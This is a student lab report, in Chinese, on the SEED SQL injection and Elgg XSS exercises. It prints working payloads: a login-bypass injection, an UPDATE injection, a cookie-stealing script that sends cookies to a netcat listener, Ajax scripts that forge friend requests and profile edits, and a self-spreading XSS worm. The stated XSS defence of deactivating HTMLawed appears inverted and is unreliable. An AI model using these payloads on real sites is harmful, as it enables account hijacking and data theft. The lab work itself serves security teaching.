20253919 2025-2026-2 《网络攻防实践》第10周作业

实践内容

本次实验包含SQL 注入攻防、XSS 跨站脚本攻防两大核心模块，以实操形式完成漏洞利用与安全防护练习，具体内容如下：
（1）SEED SQL 注入实验

• 实验基于搭载 Users 数据库、creditential 员工信息表的员工管理 Web 站点开展，共四项任务：
• 基础实操：熟悉库、表结构，练习基础 SQL 查询语句。
• SELECT 注入：利用登录页面漏洞，绕过密码验证实现非法登录。
• UPDATE 注入：通过个人信息更新页面漏洞，篡改数据库现有数据。
• 安全加固：优化代码实现漏洞修复，抵御 SQL 注入攻击。

（2）SEED Elgg 平台 XSS 攻防实验
依托 Ubuntu 虚拟机中的 Elgg 社交网站，分层完成 XSS 攻击与防御实操：

• 基础弹窗：在个人主页嵌入 JS 代码，实现页面自动弹窗。
• Cookie 展示：编写脚本读取并弹窗显示访客 Cookie。
• Cookie 窃取：构造恶意脚本，将受害者 Cookie 转发至攻击方。
• 自动化操作：借助 JS 脚本，自动完成添加好友、篡改用户资料等操作。
• 高级攻击：制作可自动传播的 XSS 蠕虫，达成批量感染用户的效果。
• 漏洞防护：部署防御策略，修复页面 XSS 安全漏洞。

实践过程

（一）实验准备

1. 下载并安装SEEDUbuntu-16.04-32bit.zip
   
2. 创建虚拟机seedubuntu3919
   
3. 修改主机名为leijiao
   

（二）SEED SQL注入攻击与防御实验

一个Web应用程序托管在 www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色：管理员是特权角色，可以管理每个员工的个人资料信息。员工是一般角色，可以查看或更新自己的个人资料信息。完成以下任务：

熟悉SQL语句： 已经创建了一个名为Users的数据库，其中包含一个名为creditential的表。该表存储了每个员工的个人信息。在此任务中，需要使用数据库来熟悉SQL查询

1. 登录数据库 mysql -u root -p
   
2. 展示数据库show databases;
   
3. 查看Users数据库中的表use Users;show tables;
   
4. 查看credential表select * from credential;
   
5. 输入条件查看Aliceselect * from credential where Name = 'Alice';
   

对SELECT语句的SQL注入攻击：上述Web应用存在SQL输入漏洞，任务是在不知道密码的情况下登陆该Web应用程序。

1. 打开www.SEEDLabSQLInjection.com页面尝试登录，并打开F12开发者模式进行监控，发现其登陆使用GET请求访问了unsafe_home.php
   
2. 查看unsafe_home.php，发现加入逻辑是将用户输入拼接到SQL语句中，存在SQL注入漏洞
   
3. 利用上述漏洞，可以通过输入Admin'#，具体执行语句变为SELECT ... FROM CREDENTIAL WHERE name='Admin'#'从而能够实现无密码验证获取管理员权限
   
   

对UPDATE语句的SQL注入攻击：通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

1. 输入3919，并保存，发现保存过程中使用GET请求访问unsafe_edit_backend.php
   
2. 查看unsafe_edit_backend.php
   
   3.目标sql语句为UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;
   构造 $input_nickname的值
   ',SSN='20253919' where name='Admin'#
   可以看到Admin的SSN值已被更改为20253919
   

SQL对抗：修复上述SQL注入攻击漏洞。

1. 修改文件权限 chmod u+w unsafe_home.php
2. 修改内容

$sql = $conn->prepare("SELECT id, name, eid, salary,birth, ssn, phoneNumber,address,email,nickname,Password From credential WHERE name= ? and Password=?;");
$sql->bind_param("ss",$input_uname,$hashed_pwd);

3. 重新尝试Admin'#登录，发现失败

（三） SEED XSS跨站脚本攻击实验(Elgg)

发布恶意消息，显示警报窗口：在Elgg配置文件中嵌入一个JavaScript程序，以便当另一个用户查看该配置文件时，将执行JavaScript程序并显示一个警报窗口。

1. http://www.xsslabelgg.com登录alice账号，打开其个人资料编辑
   
2. 在Brief description中输入XSS攻击代码。
   <script>alert("20253919leijiao");</script>
   
3. 保存验证
   

弹窗显示cookie信息：将cookie信息显示。

将Brief description中的信息更改，并保存。
<script> alert(document.cookie);</script>

窃取受害者的cookies：将cookie发送给攻击者。

1. 窃取当前网页的 Cookie，并发送到本地 5555 端口的监听程序上nc -l 5555 -v
2. 将Brief description中的信息更改，点击保存。再登录boby的账户，查看alice账户信息时成功窃取到了boby用户的cookies。<script> document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>'); </script>
   

成为受害者的朋友：使用js程序加受害者为朋友，无需受害者干预，使用相关的工具了解Elgg加好友的过程。

1. 在boby账号上添加alice好友，发现其编号为44
   
2. 删除好友，在boby的About me中写入以下代码（切换为HTML格式，下同）并保存

<script type="text/javascript">
window.onload = function () {
  var Ajax = null;
  var ts = "&amp;__elgg_ts=" + elgg.security.token.__elgg_ts;
  var token = "&amp;__elgg_token=" + elgg.security.token.__elgg_token;
  var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
  Ajax = new XMLHttpRequest();
  Ajax.open("GET", sendurl, true);
  Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
  Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  Ajax.send();
}
</script>

3. 验证发现已自动添加alice为好友

修改受害者的信息：使用js程序使得受害者在访问Alice的页面时，资料无需干预却被修改。

1. 与之前操作相同，在alice的about me中填入以下代码

<script type="text/javascript">
	window.onload = function(){
  //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
  //and Security Token __elgg_token
	var userName=elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var content=token+ts+"name="+userName+"&description=<p>leijiao</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
	var aliceGuid=45;    
	if(elgg.session.user.guid!=aliceGuid){
   	//Create and send Ajax request to modify profile
   	var Ajax=null;
   	Ajax=new XMLHttpRequest();
   	Ajax.open("POST",sendurl,true);
		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
  }
}
</script>

2. boby账号访问alice主页后，发现被强制修改

编写XSS蠕虫

1. 将以下代码填入alice的about me

    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
 
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
 
        //Construct the content of your url.
        var content= token + ts + "&name=" + userName + "&description=<p>20253919leijiao"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
 
        var aliceGuid=45;
 
        if(elgg.session.user.guid!=aliceGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

2. boby访问alice后
   

对抗XSS攻击

1.在www.xsslabelgg.com/admin登录admin账号，将HTMLawed改为Deactivate

三、学习中遇到的问题及解决

• 问题1：页面显示不全，无法找到edit profile
  
• 问题1解决方案：浏览器默认放大，只需ctrl+鼠标滚轮缩小即可看到
  

四、实践总结

这次实操实验主要练了 SQL 注入和 XSS 跨站脚本攻防，收获特别多。在 SQL 注入实验里，我先是熟悉了数据库和基础查询，接着试着利用漏洞绕过登录验证、篡改数据，最后也动手修复漏洞，做好安全防护，真切体会到代码不规范会给数据库带来多大风险。
而 XSS 攻防实验难度逐步提升，从简单的页面弹窗，到盗取用户 Cookie、用脚本自动操作账号，甚至制作传播型蠕虫，见识到了这类攻击的多种形式。亲手完成攻击和防御后，我对 Web 安全漏洞有了更直观的认知，也明白了网站防护的重要性，学到了不少实用的安全防护技巧。